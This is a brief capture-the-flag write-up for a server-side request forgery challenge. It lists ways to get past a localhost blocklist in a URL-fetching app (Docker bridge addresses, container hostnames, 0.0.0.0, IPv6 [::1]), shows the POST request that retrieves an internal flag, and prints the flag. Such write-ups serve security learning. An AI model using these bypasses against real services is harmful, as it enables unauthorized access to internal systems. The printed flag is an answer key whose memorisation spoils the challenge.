Challenge

A web app that fetches URLs on behalf of the user. Direct localhost/127.0.0.1 is blocked.

Approach

  1. The app runs in Docker. Internal services are reachable via Docker’s default bridge hostname (e.g., 172.17.0.1 or the service container name).
  2. Try http://backend/flag or http://172.17.0.2:5000/flag — one succeeds.
  3. Alternatively, use http://0.0.0.0/flag or IPv6 http://[::1]/flag to bypass the blocklist.
1
2

POST /fetch
url=http://backend:5000/internal/flag

The response contains the flag.

Flag

boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}